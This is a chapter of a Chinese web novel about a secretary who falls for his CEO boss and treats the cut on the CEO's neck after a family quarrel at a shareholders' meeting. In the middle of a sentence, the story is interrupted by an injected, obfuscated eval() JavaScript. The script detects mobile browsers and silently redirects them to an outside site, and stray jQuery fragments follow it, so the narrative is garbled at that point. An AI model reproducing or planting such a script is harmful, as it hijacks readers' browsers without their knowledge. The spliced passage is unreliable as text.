2. 隐秘

作品:《苏秘书离职后被倒追了

    谢识瑜宽阔的身影挡在门框前,松了一个指节的领带没入勾勒出倒三角的西装马甲里,他一手握着门把,一手搭着西装外套,就这么无声地站着,高大的身影笼下一片阴影。


    苏琢正好被覆盖在那片影子之下。


    众人纷纷道了声“谢总”,苏琢也不例外,只是心里有点突突。


    谢识瑜的瞳孔是浅浅的棕色,看人时总是带着几分漫不经心,然后不着调地吐出几句话来逗人。


    像漫步在自己领地的百兽之王,总是用自己的竖瞳和獠牙利爪恶劣地去拨弄身边的小动物小植物。


    苏琢工作的时候认真惯了,不太喜欢和人插科打诨,是以谢识瑜没事找事寻他开心的时候他都不怎么想理睬。


    以往见到的时候也总是要担心这人开口第一句话会不会是“哟,苏秘书太贴心,知道我正热,特意冷着脸就来了。”


    但今天谢识瑜有点不一样,没有玩笑,也没有熟悉的不着调。


    只看着他,不说话。


    他站在谢识瑜覆下的影子里,猜想谢识瑜应该是听见他刚刚说的那句“离职”的话了。


    ——几天前他第一次和谢识瑜提了要离职的想法,当时谢识瑜收起一贯的笑容,头回重着语气和他说话,目光一如此刻这般幽沉。


    此刻苏琢心里叹了口气,硬着头皮又和他打了声招呼:“谢总。”


    谢识瑜没理,也没什么表情,只定定地看了他一会儿,然后叫上曲榕走了。


    曲榕见鬼似的跟着,路过苏琢时挤眉弄眼,眼里意思明显:不是该你陪着去开会的吗?叫我做什么!?


    苏琢把手里的资料递给他,抬了抬下巴让他安心去,自己坐回办公桌前,开始工作。


    盛谦和徐星冉察觉气氛不对,也不敢问苏琢,悄没声儿地回工位了。


    苏琢登上公司OA处理了一会儿工作,整理完一份报关文件,不知道在哪个时间点就停了下来,盯着桌上养的几个小藻球发呆。


    他想起几天前他和谢识瑜提离职的场景。


    那时他硬着头皮说出了离职的想法,结果谢识瑜一下子沉了脸,问他理由,且一定要个理由。


    苏琢第一次看他对自己冷脸,一时之间什么也说不出。


    他工作顺利,同事和睦,和上司关系尚可,薪资更是可观。


    在谢识瑜看来他应该根本没有离职的理由。


    但只有苏琢知道自己其实是有理由的。


    然而到最后他也只和谢识瑜道了声抱歉,说是最近工作太累,一时之间有些调整不过来,让谢识瑜当他今天没提过离职的事。


    他有些狼狈,也没有看清谢识瑜的表情,不知道对方是不是真的信了这番说辞。


    因为苏琢真的不知道该怎么解释。


    ......难道要他对谢识瑜说“因为我好像喜欢上你了”吗?


    *


    有时候苏琢也觉得有分离焦虑的可能不是西瓜霜,而是自己。


    不知道什么时候起,苏琢只要踏出家门去上班,就会止不住地烦躁。


    那是种说不清楚的情绪,心里乱乱的,有点紧张,又有点害怕,止不住地颤栗。


    有时候想要快点到公司,可有时候都到公司楼下了,又想着要不请假算了。


    他知道自己不喜欢工作。


    没有人喜欢工作。


    他以前会觉得讨厌工作是一件很正常的事,甚至没有刻意纠正过自己的想法。


    但最近让他不想出门的诱因似乎变了。


    这样的情绪在他还没反应过来的时候就生长得悄无声息。


    就像是爬山虎悄悄在初秋悄悄攀上屋檐,等到寒风袭来准备关上窗户的时候,窗户却纹丝不能被拉动,推门一看,才发现整座房子都已经在不知不觉间被覆盖了。


    当局者迷。


    苏琢很迟钝地开始觉得这可能不仅仅是讨厌工作那么简单。


    因为这种被爬山虎缠绕着的怪异感觉,在谢识瑜某一次垂眸给他交代工作的时候达到了顶峰。


    谢识瑜工作雷厉风行,干净利落也面面俱到,个人风格体现得淋漓精致。


    三年来苏琢已经很习惯了,只是那天唯一的不同是——谢识瑜低头看过来的时候,目光依旧因为工作而专注,唯独眼底全是他


    就像是因他而认真。


    心跳加速,浑身不自在,这是苏琢当时的感觉,下意识得想要离他远一点。


    可脚尖又好像不听话似的挪不动一点。


    他不明白自己为什么在靠近谢识瑜的时候会出现这样不安又躁动的心情,甚至还怀疑过自己是不是看谢识瑜不爽。


    但扪心自问好像又没有。


    苏琢扯不开那些爬山虎。


    直到有一天晚上他半夜从梦中醒来,被窝里濡湿的触感冰冰凉凉,一点一点刺激他的某处,熟悉的躁动心悸违背着冰凉的触感再次升起。


    他脑子里的爬山虎无端漏出一个缝隙,光源悄悄洒下,那里面闪过一个模糊的身影。


    模糊,他却百分百知道那是谁。


    那一刻他像是回到了高中和理科压轴题的较劲的时候。


    解开难题往往只需要最关键的一个线索,接下来思路打开,一切问题都迎刃而解。


    苏琢就这么无师自通地突然开了窍——他恍然明白他这样的状态应该不是看人不爽,而可能是看人太爽了。


    “......”


    那一夜出门在外精英范十足的苏秘书在床上枯坐了很久,整夜整夜都在呆呆地思考一个问题。


    人,怎么能喜欢上自己的上司呢?


    这是怎样一种变态的心理?


    平时上班还不够辛苦吗?


    那些活都是谁派给你的?


    苏琢在心里自问自答了好几遍。


    受虐心理。


    辛苦。


    谢识瑜。


    然后又问自己:知错就改了吗,还喜欢谢识瑜吗?


    苏琢沉默了五秒钟,最后绝望地躺下挺尸,被子被他拉过脑袋,浑身咕噜咕噜冒热气。


    ......还是有点喜欢。


    *


    疑似喜欢上谢识瑜就是他想辞职的理由,因为苏琢从来没有想过自己会喜欢上谁,也没有恋爱的打算,更不觉得世界上像他一样的同性群体会那么幸运刚好找到相爱的人。


    但上次提过离职之后谢识瑜看起来心情不太好,苏琢心虚得很,好容易含糊过去,想着过一段时间再说。


    谁知道今天顺嘴开个玩笑又被他听见了。


    午饭的时候,苏琢心不在焉地戳着面前的西兰花,舌尖顶着下唇内侧不知什么时候长出来的口腔溃疡,不断的刺痛让他有点心烦。


    边上的盛谦和徐星冉见了,对视一眼,徐星冉小心开口:“哥,你怎么了?”


    盛谦:“是不是没休息好?”


    苏琢吞下嘴里的饭,摇头:“溃疡疼。”


    他顿了下:“股东大会还没开完?”


    “是呢,两个多小时了,表个决投个票要这么久吗?”徐星冉也奇怪。


    盛谦猜测:“一般没那么久,今天到现在还没结束估计是又吵起来了。”


    苏琢点点头:“股东意见不合,三四个小时也是有的。”


    徐星冉:“听说谢总一般不会在股东会上说话的,那哥你以前就陪着谢总在那儿听人吵架听那么久啊?”


    苏琢喝了一口手边的汤:“也不是。”


    边上两人洗耳恭听。


    “我们会下五子棋打发时间。”


    “......啊?”


    “悄悄的。”苏琢眼里闪过一丝笑意:“偶尔也会下围棋和井子棋。”


    盛谦:服了。


    徐星冉:好厉害!


    看着对面两人吃惊的样子,苏琢微不可查地弯了弯嘴角。


    谢识瑜会在开会的时候下棋,很难以置信吗?


    其实一开始他们还会斗地主,但有一次谢识瑜不小心按到了静音键,取消了静音,苏琢丢的一个王炸直接在办公室里响彻。


    当时谢明晖正和许馥雯吵得面红耳赤,偌大个会议室里没人敢说话,偏生一个王炸把他亲爹亲妈炸了个外焦里嫩。


    那天谢识瑜在所有股东的视线望过来之前眼疾手快按灭了苏琢的手机,然后把抬头朝他爹妈不好意思地笑了两声:“不好意思啊许董谢董,吵的话题有点无聊。”


    然后会议的下半场就变成了谢识瑜的批斗大会,股东们个个是人精,眼见着公务变成了家务事,都找了借口离开,唯有苏琢被谢识瑜按着留下来和他一起听训。


    后来谢识瑜的理由是那王炸是苏琢扔的,不能他一个人被训。


    两个人默不作声地被两个长辈训了半小时,后来再开股东会,谢识瑜就老老实实不碰手机和电脑了,只拿纸和苏琢下棋玩。


    “可是为什么这次谢总叫了曲哥?”徐星冉没什么心眼地问了一句。


    苏琢垂下眼,又开始心不在焉了。


    “是不是谢总听见我说琢哥可以当副总所以生气了?”徐星冉担心谢识瑜会以为自己有二心,已经惴惴一早上了,“我真没别的意思,我就是觉得琢哥有这个实力。”


    “谢总不会因为这个生气。”苏琢安慰他,“也不会你一句话就真让我当了副总。”


    “卧槽!话别说太早啊小琢!!”


    一旁已经吃完饭的盛谦忽然打断他们,拿着手机压低了声音冲他两个喊。


    徐星冉:“怎么了!”


    盛谦指了指手机:“看群里!”


    苏琢已经划开手机点进新消息了,两秒后,他瞪大了双眼,目光变得难以置信。


    屏幕上赫然是两条曲榕的信息。


    曲榕:吗的这个世界太魔幻了


    曲榕:卧槽我人到现在还是麻的......


    盛谦:到底咋了,放屁放一半工资少一半


    曲榕:呵呵经历过了大风大浪你以为我还会害怕你这句话吗


    盛谦:有屁你就快放


    曲榕:......


    曲榕:今天表决前谢总打断了原本的议程,谢总说“既然高层里人人都可以当副总,为什么秘书办的人不可以?”


    曲榕:许董问谢总想说什么,谢总直接说他觉得苏琢也可以胜任这个副总职位!!!!


    曲榕:快三个小时的会议谢总和人吵了两个半小时,我在边上听得耳朵快流血了


    徐星冉看完消息震惊地抬头,盛谦也没了骂人的劲儿,怀疑人生的目光缓缓飘来。


    盛谦:“......是我瞎了还是曲榕出现幻觉了?”


    徐星冉两只眼睛瞪得老大:“......我天啊,谢总真的把我的话听进去了?”


    对面两个人魂都不知道被震到哪里去了,苏琢也没好到哪里去,只能勉强算镇定,低头打字。


    不琢:最后结果呢?


    曲榕:吵了很久许董和谢董都不同意,最后谢总弃权了,许董和谢董的人刚好平票,今天没选出人来,还得找时间开股东会。


    苏琢松了口气。


    可又直觉今天谢识瑜在股东会上一反常态和自己有关系,心里吊着块石头,并不轻松。


    盛谦也吓得够呛,在群里发消息:我们在十楼餐厅,下来详说。


    曲榕:不了,我去趟底楼拿医药箱。


    几人一愣。


    苏琢:怎么了?


    曲榕过了一会儿才回:谢总受伤了。


    *


    谢识瑜回到总裁办,对着休息室里的镜子解开染了血的领带的时候脸色还很黑。


    “嘶——”


    谢识瑜拿纸巾擦了擦颈侧的伤口,不小心碰到露出的血肉,他倒抽了口气,然后急败坏地把纸直接按在伤口上,不顾伤口的疼痛,手指用力。


    他爸下手太重,茶杯摔在地上还要捡起一块碎片朝他扔过来,疯子一样,要不是他妈拦了一下他这张俊脸可就毁了。


    鲜血浸湿纸巾,他皱着眉,看着镜子里的自己,心底升起一阵阵烦躁。


    因为和谢明晖还有他妈吵架而烦躁,但又好像不止这个原因。


    外面总裁办的门被敲响推开,谢识瑜以为是曲榕拿医


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954052|160954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    药箱回来给他上药了,抬手解开马甲,衬衫的上面两个扣子也被解开。


    背部肌肉饱满,肩宽腰窄,精壮的胸膛和修长的脖子露出,皮肤被冷空气激起细小的颤栗,发丝微微凌乱,谢识瑜看起来整个人都有些颓丧,却又丧得有些野性。


    苏琢拎着医药箱进来的时候正对上这样的谢识瑜。


    他顿在了原地,眼神慌乱到不知道往哪里放。


    可再不知道往哪里放最后也放到他喉结边上的伤口上去了。


    苏琢提着药箱的手一紧,脸色一下子凝重起来。


    再偏一点就是颈动脉了。


    漂亮的胸肌和小麦肤色也看不进去了,苏琢快步走到沙发跟前,打开医药箱,取出要用的碘伏和纱布。


    谢识瑜看到是他也愣了一下,随即扯了个笑,语气有点生硬:“哟,苏秘书大驾光临。”


    苏琢看了他一眼,像是习惯了。


    谢识瑜各方各面都无可指摘,长得也清清润润的俊,往那儿一站看起来就是根正苗红的新时代先进标兵,却可惜一直凶名在外。


    就因为他那张上下一碰就产鹤顶红的嘴。


    苏琢知道他刚和亲爹亲妈吵完架心里不痛快,虽然是谢识瑜自找的,但在苏琢眼里这没什么,刚和家长吵完架的小朋友都很别扭,他愿意体谅。


    就像他平时纵容西瓜霜无理取闹一样。


    这无伤大雅。


    苏琢由着他生气,自顾自拆开棉棒:“我先给您止血。”


    他绷着脸,目光一直看着他的伤口。


    谢识瑜原地站了三秒,然后瘫着脸走过来坐下,一副不情不愿的样子,却又主动地把领口扯开了些。


    苏琢半蹲在他面前,微微凑近,用棉棒一点一点沾去他脖子上的血迹。


    苏琢来就是有点担心谢识瑜的伤口,这会儿一门心思只有那点不停往外冒的血,根本没意识到两个人之间有些安静得过分。


    刺痛和痒意一起传来,谢识瑜蜷了蜷手指,感觉喉结处传来一阵灼热。


    大约是苏秘书呼出的热气。


    可他低眉看去,对方又好像是屏着呼吸的。


    他不说话,苏琢也不说话。


    一坐一蹲,就这么静静地处理着伤口。


    碘伏涂上去的时候太凉,谢识瑜皱了皱眉,喉结下意识的滚动。


    沾了碘伏的棉签就在滚动的喉结上画了个圈,浅黄色的印记像是圈住了领地,苏琢的视线一震,挪开,又被他肩颈的肌肉线条吸引了一瞬。


    面前的躯体散发着热意,苏琢的脸上似乎也起了温度,攀缘至耳廓。


    他快速低下头,换了根棉签,再抬头时重新目不斜视。


    “谢总,伤口是什么东西划伤的?”他像是随意找了个话头。


    谢识瑜:“茶杯碎片。”


    “那不用打破伤风。”苏琢开始帮他贴纱布。


    “小伤,死不了。”


    苏琢听出他的别扭:“再偏一点就是大动脉了。”


    谢识瑜无所谓的样子:“那正好,告他个故意伤人罪。”


    苏琢手上动作一重,像是不赞同他如此轻视自己生命的话。


    “嘶——轻点儿。”谢识瑜脖子一痛,忍得青筋都凸起了。


    苏琢抿了下唇,手上动作放轻了些,也没有再说话。


    周身都萦绕着谢识瑜身上的木质香,淡淡的,却无孔不入地充斥鼻腔。


    像是隆冬里燃着火焰的壁炉,寒意被带着热烈的温暖裹挟。


    气氛重新静下来,苏琢却觉得壁炉里的柴火在噼里啪啦作响。


    坐着的谢识瑜不太喜欢安静,但心里面不舒坦着,也不想开口说话,就这么低着头,目光肆无忌惮地落在苏琢脸上,像是要把人盯出个洞来。


    苏琢给他贴好纱布,顶着他的目光,站起来后退了一步:“这几天注意不要沾水,饮食也需要忌口。没什么事的话我就先走了,谢总。”


    说完,苏琢收拾好东西准备离开。


    “曲榕和你说了吧,股东会我提了让你当副总,你就没什么想问我的?”


    谢识瑜的声音传来,语调微微上扬,苏琢却听出来了相反的情绪,停在原地。


    “还是说苏秘书一心想着离职,已经不关心集团发生的任何事了?”


    “......”


    阴阳怪气。


    谢识瑜狗嘴里吐不出象牙,但苏琢在这一瞬间意识到谢识瑜似乎是真的对他想离职这件事很有意见。


    他有些想不通为什么。


    但除了想不通,他还有点隐秘的、细微的,不知从何而来高兴。


    一点点。也不是很多。


    有了这个前提条件,苏琢忽然又意识到谢识瑜今天突然提任他当副总会不会是听到了他那句“当上了副总不好离职”的玩笑话——谢识瑜故意想让他当副总,好让他没办法走?


    好吧。


    苏琢的嘴角轻轻地动了动。


    这种不明不白的心动也没有对他的生活造成太大的困扰,甚至还挺新奇的。


    他的生活已经一成不变太久了。


    ......所以其实暂时不走也行。


    他转头看着谢识瑜,后者一颗一颗慢条斯理系着扣子,视线从下方而来,心绪不佳地压着眼尾,目光散漫,但叫人不敢直视。


    但苏琢没收回视线,视线莫名柔和了几秒。


    他又想起了西瓜霜。


    西瓜霜每次拆家被他凶完都会耷拉着眼尾,看着很可怜。


    有一次小狸花猫打碎了苏琢的一个生态瓶,正缩着尾巴委屈着,又被窗外飞进来的蜜蜂蛰了一口,小脸肿得老高,气得小猫咪三天都没好好吃饭。


    而面前的谢识瑜除了眼睛鼻子嘴的数量和西瓜霜一样,其他没有一样像西瓜霜,他甚至还没有尾巴。


    但苏琢还是觉得他这时候不能再当蜇坏人的最后一只蜜蜂,于是他看着谢识瑜,目光认真而安抚。


    “想说,”他思考了一秒,看着谢识瑜脖子上的伤,“和人吵架太危险,还是下棋安全点,下次开会还是我陪您吧。”